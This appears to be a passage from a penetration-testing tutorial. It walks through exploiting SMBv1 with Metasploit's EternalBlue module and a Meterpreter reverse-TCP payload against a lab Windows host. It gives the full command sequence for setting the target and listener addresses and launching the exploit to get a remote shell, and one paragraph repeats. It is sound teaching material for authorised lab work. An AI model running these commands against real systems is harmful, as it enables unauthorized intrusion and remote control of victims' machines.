Next, let’s move on to the exploitation phase to gain a foothold on the targeted system. Use the following Metasploit command to use an exploit mode from our previous search results:
Type back to exit the Metasploit module.
[[back]]
Next, let’s move on to the exploitation phase to gain a foothold on the targeted system. Use the following Metasploit command to use an exploit mode from our previous search results:
[[use exploit/windows/smb/ms17_010_eternalblue]]
Once you’ve selected the exploit/windows/smb/ms17_010_eternalblue exploit module, Metasploit automatically couples the windows/meterpreter/reverse_tcp payload module with the exploit.
This means that once the exploit is delivered to the targeted system, it will execute within the target’s memory to take advantage of the SMBv1 vulnerable service. Once the exploit is successful, Metasploit will then send the payload across to the target, which will be executed within memory and create a reverse shell back to Kali Linux, therefore enabling us to perform RCE and post-exploitation operations.
Next, use the following commands to set RHOSTS (targeted system) and LHOST (Kali Linux) and launch the attack:
[[set payload windows/x64/meterpreter/reverse_tcp]]
[[set RHOSTS 172.17.2.23]]
[[set LHOST 172.17.2.25]]
[[exploit]]
Once the exploit and payload have been executed successfully on the target, you will automatically obtain a Meterpreter shell on Kali Linux. You can use the [[help ]]command within Meterpreter to view all the actions you can perform. By using Meterpreter, you can remotely execute commands on the target system from your Kali Linux machine on the compromised system.
If the exploit fails on the first run, execute the exploit command again to retry it. Sometimes, the exploit can even crash the target. Since the target is within our lab environment, if it crashes, reboot the machine and try again.